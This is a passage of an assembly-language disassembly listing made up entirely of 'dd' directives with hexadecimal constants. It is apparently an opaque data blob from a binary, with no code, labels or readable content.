dd 8B207A07h, 0F1502EADh, 3F566Bh, 0E6A8C9C1h, 0EA4A3A95h
dd 2BC04F00h, 0BA522DF6h, 0A9E1009Ah, 0C240FC20h, 0C0981C54h
dd 0EC183807h, 0B2800B6Ah, 860365h, 60FC5714h, 0D6F8BF6Ch
dd 0E69C9100h, 1851951h, 28470738h, 60B9BB94h, 0D2062AFFh
dd 0FBC6081Dh, 0D61E0A04h, 0A87084h, 420D38EBh, 0CA369180h
dd 0CC4A13B8h, 6880F487h, 0ED74E32h, 0E63AE00Eh, 0FFC96140h
dd 0A900C28Ch, 46E2F0A2h, 0B9BC4B8h, 0DDAB76CDh, 83FE8860h
dd 3F3A1000h, 7ACAB34Ah, 9F2600EFh, 0A7EBF5A1h, 9600E97Ch
dd 16C3032Fh, 1C8FC7EDh, 7EAB0C29h, 0F7E09080h, 5E544097h
dd 6613120Fh, 75C0FDEEh, 27A7ACFCh, 0C9410077h, 3CC0B41Fh
dd 33004881h, 65525A99h, 0C79044h, 2DC50F84h, 9DCD127Dh
dd 2AE27400h, 0B3A9AFCAh, 0FBE80037h, 0A8810A87h, 730058D5h
dd 0F23CE9A7h, 0FE3FF085h, 54AB4960h, 368D1600h, 68A93A52h
dd 0DD2D3Fh, 77FDC288h, 2C9A3296h, 9C60Fh, 9076223Fh, 1600C492h
dd 44E7A885h, 55250h, 406D7751h, 0DDD7CB60h, 3A045490h
dd 6FC49BE2h, 3BFB00C0h, 15DA0063h, 0BB8D44C1h, 0CF037C77h
dd 739EB0CCh, 9143E897h, 2272000Ch, 3F8E101Ch, 0D607CD0Fh
dd 29A9FAD3h, 0C0F49700h, 1DD500C3h, 0CD469144h, 0F000C112h
dd 41D2B147h, 3EF4DC0Ah, 5D0AA23Fh, 2694E830h, 88B40068h
dd 0AED85AFCh, 0D653B209h, 6D368276h, 0E5B868A6h, 0B92D009Dh
dd 41421084h, 3A00D1C2h, 57F0E66Ch, 0EFD389h, 3D818524h
dd 0A62C98DEh, 0CB82D500h, 0B6635C6Dh, 10D16F1h, 0FB270146h
dd 30254BF5h, 0DD3F9DD4h, 0DC8780E0h, 26E3EF63h, 1D8007Eh
dd 7C401955h, 98EACD03h, 0AB482000h, 7BF045B2h, 52600061h
dd 28B07C4Fh, 361431E3h, 0A00713h, 0A01E3339h, 999E9A1h
dd 284C58C2h, 0F226EC40h, 0D546BC0Fh, 69E32014h, 8353DEh
dd 219CCC08h, 0C1046AB5h, 0D0640902h, 0E3BE9FB3h, 8F53C8C5h
dd 7DDF000Bh, 80617A9h, 0EA72077Ah, 80A88450h, 94864828h
dd 641A9A00h, 0A24F0D2Ch, 0BFD00228h, 72A74E91h, 0B2D2A4C0h
dd 0A16E6426h, 0DA8DB500h, 0A81D1Ah, 2858B710h, 73E36AAFh
dd 0BD499B01h, 0A189A4ACh, 8DE830h, 0BE643365h, 928AE8E0h
dd 0F2F6ACEAh, 0CC1B9800h, 20EB5BFDh, 0D5FF00BDh, 0D6FBE62Fh
dd 8B48BAFAh, 0F95C03F0h, 0B828561Dh, 3DE5D146h, 0D80281AEh
dd 0D9DFF438h, 2640F880h, 57769489h, 13A0DC48h, 8C00FC43h
dd 34EB6D64h, 0B023A8Fh, 0FBDE07FFh, 0AC7750C2h, 0B14D1DB4h
dd 944E0048h, 49F833B0h, 1DB02EEh, 4BD6C858h, 0CD60405Eh
dd 2E797E13h, 0C448B9h, 0DCE87B25h, 0E739E3D5h, 5D4D1ED7h
dd 359C006Dh, 56C8DB1h, 9B218777h, 746490BFh, 0C47E288Bh
dd 7E636A00h, 0A6871F97h, 57701D4Dh, 0D75449B9h, 0E95E8800h
dd 0C95F8F80h, 0E49A042h, 448E60FFh, 873F04D9h, 0C0D89709h
dd 0FE8A7A82h, 1BFC4C00h, 3712ACB1h, 52EE0039h, 91667D9Bh
dd 550017B7h, 0FE463D62h, 74C2A2h, 87C91157h, 0E65CA5ABh
dd 3FE42300h, 0B1645954h, 0CDB00082h, 0AA703C7Ch, 6500D480h
dd 0F096D025h, 0BE9A7Eh, 902F85BBh, 505435CDh, 0CCDBBA28h
dd 0CFE6A475h, 60711803h, 17972FEEh, 80C9CECCh, 48C6D3ECh
dd 4281CF00h, 0EBE46183h, 1EC70023h, 242145BDh, 8905E22Bh
dd 3D116744h, 0CC0136C4h, 9D8FBAFCh, 94CC70h, 8D9E3265h
dd 151DA107h, 7D955800h, 13BC730Bh, 98B045h, 0EAF927E0h
dd 0D0E70C93h, 0DD87BB01h, 75C58DF3h, 2F6C30h, 0C70177C2h
dd 43C8EE73h, 809E533Dh, 2A275F14h, 0B1BFF90h, 76D57B17h
dd 0C002B405h, 8B184046h, 220A6900h, 0DF31608Ah, 0CA1101C0h
dd 1BF02B4Fh, 0A6C8F35Fh, 0C27CC7BDh, 2E6BDE48h, 3D00CC6Dh
dd 0A22666B8h
dd 563F002Bh, 0F20EBE4Bh, 820020A6h, 9846C614h, 2E0F436h
dd 7015543h, 4C74915Dh, 0D0003A13h, 6602B22Ah, 2E6812FBh
dd 0A47480C6h, 3802B7B0h, 1236CA63h, 7DB4E03Dh, 0C1661CD3h
dd 683B8083h, 58097A88h, 0BD173Fh, 38AF20B7h, 0B84CA72Ch
dd 0EB6100C0h, 8786D4FCh, 26016FE5h, 4E434035h, 9A20E68Ah
dd 2828C0B8h, 31F7078Fh, 46B0C03h, 0E064D049h, 65B5CBh
dd 0F1C39C79h, 0E6CE93DBh, 103E1F00h, 305FB28Dh, 0BE5C04A9h
dd 903187E2h, 60F6BB04h, 0E1AF2D01h, 0B0DC08D1h, 5EC4802Ah
dd 0D67EB76Fh, 0B2B1C03h, 0AFCA26E0h, 46174900h, 0BDF1000Dh
dd 89E10169h, 3175D73Dh, 0DB79BB00h, 0C5637044h, 0BE9E0066h
dd 628C2D90h, 8898B9BFh, 29398870h, 4BFCh, 0ADE831BDh
dd 0BC7BC6h, 6486973Dh, 0F03BB81h, 0A64E4Ch, 0DE89E72Fh
dd 0A1AB62h, 0C1567E87h, 573912BAh, 5E731B00h, 6A8A519Ch
dd 12ACB6A9h, 47EC00DDh, 729DA63Ah, 206E5A60h, 308A24A0h
dd 42A0FCECh, 0A600BB45h, 73919217h, 0C0D6F63Eh, 87DBABA8h
dd 0DD2C5C19h, 803F2046h, 9DAA3228h, 0BB05Eh, 0FB2AD058h
dd 56750CBFh, 33300F73h, 0F7D860DFh, 31933B6Ch, 0BB0180C8h
dd 2C0CD09Ch, 92D4241Ch, 0D42D5700h, 3FC62388h, 0B00F1C9Bh
dd 0D6298025h, 0A0708417h, 2CFD10B8h, 0D9020038h, 0D76D8C6Fh
dd 0EC1F0334h, 3671BFE8h, 941C7FE8h, 0C4C14B09h, 0FB6C6096h
dd 0B441182Eh, 611B4175h, 0A76A9A00h, 62019457h, 0B9AE00ECh
dd 79C380F3h, 0CE004076h, 0A8983EF4h, 9F2BF22h, 8C366F3Ch
dd 5BFF9880h, 0BD5023FEh, 9D03D3A5h, 0D2F59C6Eh, 0F8D6E377h
dd 3299875h, 272CCCF8h, 7800AF82h, 3CB5E2C6h, 0C86A78h
dd 0BE4D03EAh, 46D58F5Dh, 7F51D015h, 0AB1501E8h, 2A9B4161h
dd 354D3E4h, 7AA3BD4Ch, 3CD8C8C4h, 5500EF9Eh, 5DFF844Ah
dd 90875340h, 0D5798Ch, 0D20691F2h, 0AFAE90EBh, 0D918C9h
dd 0ABF77B55h, 1E5B0009h, 4453E9B3h, 0F600945Ch, 359786F4h
dd 280683E5h, 3AEC410Ch, 93BF300Eh, 6B8B2200h, 0EBB42088h
dd 0E92EA376h, 8580688Ah, 6FDBED9Dh, 0C49058C4h, 0BBDF0C00h
dd 3DA80DBEh, 0EBAC9E00h, 0B31A1561h, 0DBD800A4h, 9CE98551h
dd 9B004FF3h, 743AE5D9h, 3289F34h, 1FBE5477h, 0DEB04ED3h
dd 70976615h, 0F6A413C8h, 69002028h, 29E6FD1Dh, 0BEB1BB0Eh
dd 7F8B0053h, 0E939ACh, 0FA6F872Fh, 3C960E8Eh, 28A940FBh
dd 3F27BD4Ah, 524460E3h, 922D0064h, 572F5D45h, 9C079D78h
dd 0DF4DE882h, 23F0A41Bh, 0CBDE9A01h, 11D8242Ah, 92C5A000h
dd 0B50C4573h, 0DF600AAh, 8E994355h, 0E0B83465h, 3D8DDF24h
dd 3DDE5400h, 27C7C28Ch, 4000CC4Bh, 0B1DFE8B6h, 9B2BB806h
dd 0B19302Eh, 0E7058CDAh, 844D44C0h, 0C904CE00h, 9054F41Ch
dd 999C78Dh, 0D58AE0F2h, 50004068h, 9CF30FDBh, 333A349Fh
dd 7E51E462h, 6CD6E1F9h, 0C27D1770h, 0CF830800h, 98A75C3h
dd 0FD930152h, 1D8EEC00h, 0D93ACD2Ch, 95369FC0h, 52030D6Ch
dd 0E0B1A877h, 0E019E255h, 5C4EA23h, 0F92E4AE6h, 3DDCB008h
dd 3922850Ah, 7B008048h, 0A9E656D1h, 68435020h, 4E362A40h
dd 0BA9100A4h, 14DF2D45h, 22016FB2h, 378A47C0h, 4DFCB18Ch
dd 0C04854D1h, 0C2D300CFh, 95E30BA2h, 0E1D2F170h, 30B92E10h
dd 0B1C5114Ah, 7F4CB2DCh, 0EDA500C7h, 0CF7AD519h, 85007839h
dd 81D60E6Ah, 2643653h, 3A9704BAh, 0C40063Ch, 0EF7C58C6h
dd 0B8D2D70Ch, 104822h, 14123398h, 0DE55E638h, 940BC04Fh
dd 60AA001Fh, 48D2896Eh, 5F075059h, 0C64F6822h, 0E100102Dh
dd 3B9C63E8h, 30A60FD3h, 10182E8Ch, 4A027672h, 84B631B5h
dd 0FDA0604Eh, 90AD402Ch, 0B8870C5Eh, 81868B80h, 555B0C52h
dd 0D84006E6h, 83432E38h, 23F00A63h, 7665E2CDh, 0C48B0034h
dd 45FF164Eh, 6141D300h, 98E27B96h, 464763Dh, 382AD85Bh
dd 25F4C0CCh, 70F8F6CEh, 1C20F000h, 85E3935h, 7519E84Ah
dd 46AC01AFh, 0DF14C23Eh, 0AB2FD0D4h, 9D1CEC00h, 0C8F2124Ah
dd 89ED0782h, 0B73E0D99h, 0B85130FDh, 0A4189E16h, 6BB01209h
dd 824C04B7h, 87FEA739h, 4AE44389h, 305C37B8h, 7F00607Ah
dd 580E1A04h, 13C33DBh, 0A26DE841h, 0ED060AA7h, 6188C03Eh
dd 0F5479D0Bh, 76848023h, 979B44h, 0E4F358FAh, 66F9E237h
dd 3E007E7Ch, 0F4E6A989h, 125A0ADAh, 0A04B97D9h, 6A1D0434h
dd 0D1809830h, 7EDB2EEFh, 0D63E00EAh, 0D80B428Fh, 15008636h
dd 0C8EF184Bh, 0E33952Bh, 1693B12Fh, 4F191060h, 5C243165h
dd 1D824092h, 70599h, 35FD0C1Fh, 4034BC27h, 1E7F6C4h, 43A574CDh
dd 78EF0Dh, 1DBE0A3h, 11FABD24h, 2F05D32Dh, 0CE0BC2Ch
dd 8A6B8FB5h, 6D099D61h, 2BFCF4A1h, 0B200D7FCh, 1E8C54A9h
dd 135E271Fh, 69B8582h, 0D0207570h, 0E2873BD9h, 1B007973h
dd 0F0BE108Bh, 742F68h, 8A559A8Dh, 410F0524h, 0B57E1E05h
dd 84ACC584h, 0D19A4B00h, 135A90C1h, 9FA17800h, 40D317B7h
dd 7BF60002h, 9049DD96h, 71CA2E57h, 3A0150D7h, 60FACE83h
dd 0F4150160h, 9459C129h, 6D3BD2E5h, 7CB48040h, 0ABE6CAh
dd 83FEB801h, 0A908F6A5h, 0AF53F300h, 0F8103245h, 490B00CAh
dd 0DFB093FFh, 0A9A021DCh, 2E3BEEA0h, 0D6D3805Dh, 0ED2325BCh
dd 0CCD20030h, 1B96020h, 0BB784B52h, 8C2FE61Ch, 1FF79440h
dd 5CD688C7h, 0A800738Bh, 0AA5C9C26h, 56000A24h, 7D5B6F34h
dd 2A82ECh, 3BC25AD5h, 6DE487B1h, 0B6069200h, 71FEE515h
dd 0FFD10068h, 0CBA361Ah, 0D6008ADCh, 93D459B4h, 60B01291h
dd 8E606883h, 2B07FE23h, 9515D96Fh, 0F7BDAB30h, 2FB40C18h
dd 1E285E3Ah, 15B7339h, 86677A17h, 9A606531h, 0E10C00A5h
dd 0C3AF8F79h, 0DEFC6256h, 83F25772h, 9ABD7F17h, 0AFE8CC00h
dd 7901AA5h, 63E35C9Dh, 9BC1067h, 4F5CFE9Ch, 1B0070D8h
dd 0F580E2AEh, 37FD51Ah, 0B1138A3Ah, 5ECFC251h, 2148B060h
dd 0D0284F29h, 67008F1Eh, 0E6B34C99h, 0F2CE614Bh, 7C6838CCh
dd 0F3F74FCh, 3683650Bh, 5720ADCFh, 25BA673Ch, 27B6E401h
dd 14D0E2Dh, 0A5229880h, 8895EE57h, 3D895400h, 4FF0DACCh
dd 0A9730063h, 0ECF35D4Bh, 497D879Ah, 4A537C00h, 6FA0033Ch
dd 7B0119F8h, 0D0836843h, 180051D7h, 3C25A7D4h, 7CC99A6Dh
dd 6970FBh, 5C4C0409h, 713F17D8h, 0DFCD4B00h, 2CE1EB90h
dd 793800BCh, 69ECD392h, 8216289Eh, 2A00B6BBh, 0CF6A5CD0h
dd 57B3F6Eh, 0B5C29C80h, 0D879948Dh, 0D5A38B00h, 18160C93h
dd 7A09002Fh, 7C3AE677h, 0E10C5F42h, 0E2F9943Fh, 768C0068h
dd 0D9CC7F4h, 0B90EAFBEh, 6A1119F2h, 0D70088B5h, 0D5D43D70h
dd 0CF10D4B4h, 37047301h, 207EFF14h, 0F400240Ch, 9ABF3120h
dd 58CDE03h, 66F111D8h, 6FBC82BAh, 98623760h, 0F8F8322Fh
dd 1D06001Dh, 0AF26DE88h, 8B00A652h, 0FF551C21h, 80AAB9h
dd 0C4D54392h, 52E06653h, 464EA71Fh, 0E889C600h, 506C32DCh
dd 0FF0D671h, 54C19209h, 894BABE0h, 0CC5C0183h, 0A230069h
dd 12131F24h, 74D83092h, 0CECDA7B0h, 70252E3Fh, 70C1D4E9h
dd 8421A600h, 0F4425E0Ch, 1E7318h, 0D3E99243h, 87B901DDh
dd 0DE648300h, 9DC73321h, 1FA67418h, 23DBBEh, 0F7A95F6Bh
dd 0FD0719F8h, 3D821657h, 69C5DF60h, 787D00A7h, 9726CDCBh
dd 2100ADEBh, 0C61A07C2h, 3C8969Eh, 0D5693655h, 0F9900999h
dd 45003A32h
dd 654E9C1Dh, 7E9CF3Eh, 1C485979h, 25978022h, 0B0156ADh
dd 0A5754DB7h, 2F603FD9h, 0B8090077h, 8BDC42EAh, 817B947Fh
dd 5A50B300h, 66652306h, 0F6C609A5h, 60A022D0h, 0D1B843B1h
dd 0EDCC5F00h, 4FDAB563h, 294712D9h, 0C99F0012h, 38A8C445h
dd 80720C3Dh, 1828B2F3h, 2A58151h, 12D26B83h, 14404694h
dd 0FF0065CBh, 20E81F61h, 0FC8E5B25h, 0F9410028h, 0C85EB4A5h
dd 0FE0054C0h, 2C87E1B1h, 58B9BC7Ah, 720164E0h, 0D88B86A6h
dd 3AD88E4Ah, 7E1A0096h, 1DAF821Bh, 8039CD83h, 68257B29h
dd 891F6CACh, 9840F521h, 62D154A4h, 16390030h, 0B409B966h
dd 0BB00DB7Dh, 0ECF2E20Fh, 5EFAEBh, 0DFD92BE9h, 8B435269h
dd 0B66E0B0Eh, 560E0099h, 329438h, 0CFE96B23h, 0E33C37C4h
dd 30612700h, 5FFC702h, 216514A2h, 0D300E6EFh, 0EB1E78Ah
dd 0C490FD43h, 830C9700h, 83766DDh, 33CE273Fh, 0D8DE0A41h
dd 0EE39CC21h, 839B000Fh, 0C707011Ah, 467166h, 0E7BEF4D4h
dd 7E240974h, 8B5BD00h, 5BD90FC0h, 55E200F9h, 20AB8BA5h
dd 0E3003350h, 0B39AADBCh, 0B8D5951Ch, 3FDA3F7Ch, 0C741B700h
dd 0CC434615h, 2DBA6F00h, 0D9625A77h, 0A55E004Bh, 12EF57EDh
dd 0B6FAB055h, 0F5EA3700h, 0B2D53F01h, 0CEA3000Ch, 2BCB3D6Bh
dd 281E807Dh, 0BF00C224h, 40077B09h, 0FE3201D7h, 2A65EFB5h
dd 4FB8F479h, 93D1C301h, 0BE8F9924h, 5EE4F461h, 52DE00AEh
dd 0ECC0FD8Bh, 940BFB2Bh, 17EE5Bh, 79B9A544h, 7D74AEh
dd 7820994Dh, 4AA74E71h, 9F3D1E90h, 29386Eh, 61FA1D74h
dd 0E858ECA6h, 83E100BBh, 81E7A746h, 0E900555Ch, 3C2C4EFBh
dd 315185h, 0B70322Fh, 0ED773407h, 6AE00300h, 0F4E7121Ch
dd 0FC8A76ACh, 0CE1403A4h, 2E52B41Ah, 208D1003h, 0E0987D63h
dd 1F380A4Bh, 9DBDA1h, 80230721h, 85007E2Dh, 0A58FD578h
dd 0E5F4A079h, 0C1092180h, 6B7DBFCDh, 22002DE4h, 1071694Ch
dd 3CD9A0D3h, 218001A7h, 0AED1D4E2h, 0D51EA2B3h, 0CAC08A1Ch
dd 56CD2A77h, 0A878008Bh, 197D349Eh, 2218FC6Eh, 98A12D81h
dd 600BF814h, 13C8B8C6h, 0D800280Eh, 95DE7819h, 61772BD6h
dd 989B4165h, 7088A0D9h, 9DB9A600h, 0B51B2616h, 0A2574E2h
dd 0FC0214B1h, 2E4D8774h, 0D579807Eh, 333EB0EFh, 0D8F10E69h
dd 4523E0C6h, 742B8A26h, 0B1BC0196h, 8535AD57h, 0A93EF838h
dd 2F127800h, 0A53C8E68h, 28397CA2h, 3ECD1E94h, 5100A0DBh
dd 0ACE05993h, 38C45461h, 386A957h, 568E00A8h, 0C5C01EBEh
dd 0AA00A0DAh, 9639C679h, 36CD07A6h, 404820F0h, 17CE420h
dd 0AD143406h, 0E0338EDCh, 0B060D67Ah, 7B1A8D29h, 0BE1C38Ch
dd 3D98D0F0h, 0FB33F896h, 1EC218A1h, 30AC0709h, 0F03CE089h
dd 4D5080FFh, 0B99C8EB4h, 9470C06Dh, 0F17D35CEh, 719A9F1Dh
dd 0E2032028h, 0A863340Dh, 0BC5F8D19h, 5D884680h, 0F17F5ACh
dd 9FBE6A8Eh, 297D809Fh, 0B1FDF808h, 6060D0h, 0EB2D184Fh
dd 390EF9B7h, 680FAD02h, 0A6C03070h, 0B14E6A0Ah, 0FA1E1003h
dd 80813D06h, 5DCAD0h, 2204A530h, 2A4F5EDFh, 0B5934600h
dd 3D6F03CBh, 0A6441761h, 11D84h, 0FF87C049h, 940183A7h
dd 50AD8FD9h, 4AD8E568h, 5198A2h, 9D10175h, 4E47B06Dh
dd 3C00D2FCh, 57C6192Ah, 161E8EAh, 0D8109872h, 0F059A81Ah
dd 0DA0A4234h, 8C11F9AEh, 2B704D80h, 939AA4h, 1EAA6A3Dh
dd 0A3781A7Eh, 0DD09CA8h, 225CCB03h, 0A081527Dh, 0C35A0E56h
dd 14AE1A40h, 40A8EADFh, 1DE264F1h, 331F267Ah, 0FD41742Dh
dd 8C6D951Ah, 5E29508Ch, 1BDA408h, 0CAE1F66Bh, 0B551FC0h
dd 2FE24C24h, 4B22EE80h, 0A0CE773h, 50D69EBBh, 1A1600B2h
dd 0FAB0AA10h, 49118539h, 0F005B2Ah, 946E44E5h, 8F1D575Fh
dd 0DD0FA243h, 0CE118020h, 2497B4DCh, 1E76E9Dh, 0F02E5659h
dd 28E9B89Ah, 57909E14h, 0A3F3A605h, 9420F89Ch, 0EC9FEDE2h
dd 3CC40F8Bh, 0FA04FB3h, 6A2951D4h, 248181C0h, 0D55942h
dd 0CEF302CBh, 84FCA3F2h, 454E8600h, 0B13B5549h, 666B01E2h
dd 0F06F0CB7h, 173C20F8h, 3AAD1E3Ah, 5400FC07h, 7E92A731h
dd 150CF9Eh, 0FCF2C6B6h, 0A11CE03Dh, 4D500411h, 51023E54h
dd 292DD703h, 0CAB8322Bh, 0B039094h, 3AF074DBh, 0E7B0CF89h
dd 17DFAAA9h, 785D5B7h, 7065F673h, 7CB993Ah, 98B6DC0Fh
dd 1CBF46Ah, 8D8AAA04h, 0C970D3C8h, 6F9857h, 15A261EFh
dd 8C554D16h, 0ACEC5000h, 0C978D404h, 56421263h, 0DCC200CEh
dd 128EABB2h, 0A78B8F00h, 0F194C6B7h, 2840765h, 0D7C0E5h
dd 298252F9h, 0E9019E79h, 0C3C4573Dh, 4EE0F37Bh, 393E00B0h
dd 0E7A8285Fh, 7F0E4692h, 1F63B28Ah, 3486545h, 21EF40C0h
dd 8629001Dh, 1A95B31h, 0AA005D37h, 54C9BBFEh, 3F478142h
dd 6E939002h, 7490330h, 0C5A04DD4h, 0A4E49FE4h, 52386C03h
dd 0D84BFAC0h, 789A1Fh, 9984AF91h, 3537E658h, 0ED0E3B00h
dd 0DA6157F1h, 11E00B8h, 0AAFE8CD5h, 33003DA1h, 0E82313FAh
dd 3FB0AE8Fh, 7AC5D9Fh, 0E3AF07C1h, 91CFD0A6h, 59B8B406h
dd 6B882660h, 1B5C18Ch, 95215390h, 40C4BFA7h, 35CF7EF0h
dd 76F52F09h, 77508047h, 0EEE9CE2h, 0B52AF156h, 95AF922Fh
dd 3C20270Eh, 0ECBBD79Eh, 1C376401h, 0EECDE85Fh, 0E7D0D440h
dd 0B0B800E4h, 6831A098h, 2D00F83Ch, 6E653803h, 32707B3h
dd 7B98DB87h, 0DD9844A7h, 6030E5B0h, 0B3D7988Ah, 0B8580C6h
dd 0FF729A1Dh, 6719B00h, 4C796E0Dh, 2800ACF7h, 0A8491101h
dd 6A3F5A2Ah, 700B8E45h, 750E876Fh, 7CCD3811h, 1792020h
dd 846C460Fh, 30E5FAF3h, 0B3008E24h, 771EECEFh, 3066BFE1h
dd 0E426A486h, 0DE908FC3h, 87744B1Ch, 9BDF9240h, 0A4647Dh
dd 1460E7A6h, 0E382EC68h, 9D3F1803h, 0F0FE2399h, 759EBA5h
dd 0F46487B1h, 0CD182073h, 0F00110A9h, 0F22694BEh, 66F8BF7Fh
dd 0E8C56581h, 9A5C4034h, 9C21F96Ch, 3098900h, 0A05A7601h
dd 7115143Dh, 0D400B866h, 0F6DDCCEDh, 0E8E8E542h, 0F44EE100h
dd 72043986h, 1DBB0094h, 3D1A756Ah, 19747420h, 44CC4900h
dd 1D68C53h, 31601E0Ch, 0F1CF430Eh, 7D88DA8Bh, 7B30B5A1h
dd 0FFAF781Dh, 0AA5F0025h, 0DC909968h, 60F3FCD3h, 2D00AC9Ah
dd 9BA51285h, 0E98CCF23h, 42C50ECh, 0F0945EAh, 4220C3F5h
dd 4446A3F0h, 1FFDB8C7h, 0E5C45390h, 60B97DB4h, 0F44AF90Ch
dd 920C6227h, 0E9A7032Fh, 0C5EF00D2h, 0E07D870Fh, 10713A44h
dd 4C45B303h, 0C0B2C33Bh, 8947C8h, 276874FEh, 96418C22h
dd 45995A07h, 0B12017A6h, 0EC9BF2C4h, 21BB009Eh, 7F912216h
dd 0BF002419h, 0C4662E90h, 45D280h, 0C028A7D6h, 3E683935h
dd 9B81F300h, 73D48FFDh, 11EA0008h, 0FA195CFCh, 4F01221Fh
dd 36B620F6h, 7180F275h, 0C0CED88Dh, 0D67122C6h, 0AF2CCD28h
dd 11AEBE00h, 51EED2F3h, 10F70080h, 0C409694Dh, 3700B8FCh
dd 4927B96h, 7FC2674Eh, 0F6B0B9h, 87E82F3Ah, 66962179h
dd 72A1C91Ch, 5300FC1Dh, 70FF5D20h, 0B67B00BDh, 0D6D0C2AAh
dd 30C0F482h, 0FAE265ADh, 76490025h, 3528869Ch, 7C3C3355h
dd 4D538092h, 5C4AD8B0h, 29F70F1Dh, 0D360D63Dh, 0B73FA858h
dd 77031006h, 5073A2h, 39E0A15Fh, 0BD9278EBh, 107AAD00h
dd 0E67ED646h, 491700DAh, 0F3E3D42Ch, 23004FEDh, 0E8749212h
dd 0A6AA41h, 0CFB084A7h, 13106508h, 156C0E00h, 1295A319h
dd 71D6266Ah, 0B7930334h
dd 1898D0E6h, 72EE2CC9h, 0CC5E4A05h, 0D40FD3ECh, 58A900A4h
dd 986FF0h, 42E5CAF5h, 662417Ch, 473D9914h, 52800D8h, 0ED24D22Ch
dd 6622004Eh, 82408B5Ch, 43149C39h, 0E2AFA4h, 0A1A21604h
dd 1A7AC6Ch, 74B187A8h, 0E554D517h, 62662098h, 8AFF5100h
dd 769B5C95h, 1C700E2h, 0AA7BC881h, 0B000B4E9h, 0B162B97Fh
dd 8B90D5h, 5EFD13C0h, 0F146111h, 0D5C4502h, 418178BAh
dd 0EC70C938h, 98CD241Bh, 91BB00D2h, 9D42081Fh, 8F437114h
dd 0D3A90084h, 0B640A8A0h, 81E000B9h, 282DC277h, 0E95C7366h
dd 0C6D100F4h, 0CEEC1D69h, 9F5C1FF5h, 6CD5C095h, 0FAD44A6h
dd 0BE039707h, 0F7A92EB5h, 8B218000h, 0A004C54Dh, 1A08C437h
dd 830B0B80h, 860E3E63h, 603ADB00h, 39196F76h, 4559F000h
dd 4D70DE89h, 5EF400E6h, 98EC69BBh, 0AF00A5B0h, 0A24AB7EEh
dd 26EB2393h, 9EE330h, 0C6C8A0F2h, 5FF0C4E7h, 0BA155B00h
dd 0D1834DACh, 617A0358h, 41D3B532h, 3CBE580Eh, 29216020h
dd 487FE2h, 10A84488h, 9769D3Dh, 2CC7D00h, 25370FD7h, 11050098h
dd 0DA3BAC88h, 7507A933h, 0A404E643h, 4A803A45h, 83907h
dd 0A1E36023h, 217A444Ch, 3628D900h, 0DF1E8CA2h, 7EEE0042h
dd 9F32299Ah, 0C5001C87h, 0CB51CD90h, 3854D0ABh, 37807438h
dd 0F0E453A5h, 9AF24723h, 33268400h, 0B1EA315Bh, 0ADEF1E90h
dd 7B280001h, 0F8D9AABAh, 350C2B00h, 1026A965h, 37E56h
dd 34876E1Ah, 2D886DE3h, 528ADF0Dh, 0C2EC213Eh, 3307825h
dd 185ADA51h, 0D8009C11h, 9E491BF5h, 78B6C74Eh, 15400A7h
dd 5ADF0ED8h, 16FC92D5h, 42EBEE1Dh, 7E1398E4h, 6513D600h
dd 0F9EA50h, 0FEE74B64h, 4AD4F6Bh, 0AF59620Fh, 0BA5A8006h
dd 5EF509h, 5DFA0CB5h, 67EF13C4h, 617C000h, 7018C96Fh
dd 0B88F3826h, 60129718h, 0C000C8D2h, 0FA2A5995h, 7F1F81Bh
dd 0C7B51826h, 0B0A2C996h, 1880BD01h, 2EA2E194h, 23088F67h
dd 9505B647h, 1BE2848h, 5B6AFA1Ah, 8EF6D022h, 96BFA30Ch
dd 1D03185Dh, 802A1298h, 0D558F1E8h, 0C150C6D7h, 0E07C1938h
dd 0DA436400h, 28A2E990h, 54BB708Fh, 819B349Ah, 50590602h
dd 2A57E753h, 0F3A0D7C2h, 0F030C346h, 0F69D005Dh, 0B5C5BEE9h
dd 2300D53Fh, 7B6F878Ch, 5C9B48DAh, 0D4392F7Eh, 30DCF800h
dd 66E4E060h, 0FE3B1300h, 730841BBh, 90F7F1Ch, 0B3F4F17h
dd 3489BD80h, 4A1F8D09h, 0C801A2Fh, 9B044146h, 37D6001Eh
dd 6A89F487h, 7700E09Dh, 0E608A434h, 74F5A943h, 0D6AB0056h
dd 0F6652BDFh, 1900D713h, 6E3F6836h, 0D3E6FCh, 0F2A743B5h
dd 895C0764h, 9AFBEB0Eh, 2AE4E0A0h, 1E82B3h, 465A5E3Eh
dd 37C08D9Fh, 306E338h, 84FFF7F0h, 0C892A0D5h, 6C1F004Dh
dd 0AF0AE634h, 9A00022Bh, 30701762h, 898FDDh, 450C5E87h
dd 3C96BA29h, 792C460Ah, 0F284A8D6h, 7C098EBh, 3382F9C2h
dd 0EC08D253h, 0E4182100h, 0BE893D98h, 0B21E0036h, 75149CB7h
dd 9600B9FBh, 7ED5DF6Eh, 1B38CE1h, 9D4C918Eh, 9B288D14h
dd 2349D270h, 0DD012678h, 0D25B6998h, 1288EA18h, 749800D5h
dd 507A9F3Bh, 3A0F8B5Dh, 0B30DB69Bh, 6013940Dh, 0A46A5840h
dd 0DD3103DBh, 36A3D166h, 400428B6h, 0D92E2581h, 6BF61890h
dd 5EE91D95h, 5711865Dh, 0F1600855h, 95531921h, 854E3E73h
dd 77D59003h, 0F0D7151Eh, 3506935Eh, 1A3658C0h, 623FE7ACh
dd 8D167081h, 0BEC16100h, 0F430142h, 33E8F839h, 931EC810h
dd 0B4B6B503h, 98EC3B14h, 51BAB2h, 0B834E6BBh, 0FD5BD415h
dd 6BF98400h, 0C09F7357h, 0B52700A6h, 2E09FE68h, 670107BAh
dd 0D26ACCB6h, 7DD06459h, 0C0835F21h, 0A075EBF2h, 9DE3B51Bh
dd 121F608h, 633F8FA8h, 0D0A43009h, 2330C2E5h, 55A9943Ah
dd 3E37E68h, 83FE7DD2h, 39006F58h, 54D5BE2h, 0A53AA7h
dd 6C3FBA62h, 4378B144h, 36023400h, 75CEB661h, 0C321007Ch
dd 0E7F7DDEFh, 58D89EB2h, 5C846349h, 65371C7Ch, 0B3D85711h
dd 2A0E3BCh, 0C03AEB67h, 21523015h, 62CFA5h, 7936131Eh
dd 0D839E4D3h, 5EA08560h, 0C19B4F16h, 0B4326360h, 0F619846Ch
dd 0DD00AC8Ah, 16FFBA54h, 118029DBh, 1F8AAA20h, 37405A3Ch
dd 0AD2F1D8Eh, 0A1C600AEh, 5631CC14h, 4003DEAh, 0E3747C22h
dd 32E8D58h, 0B6751A20h, 0C3C0701Bh, 0EAEAD2DFh, 32CA2A07h
dd 710084A8h, 6CAA97h, 9B48029h, 4C5E2DDEh, 19127200h
dd 9034C3DCh, 1C76CBh, 0E07C760Fh, 1B06F965h, 61FA1E00h
dd 0BE773CEAh, 0BCE291h, 0F501920Eh, 0CD09AE4Fh, 759A13Fh
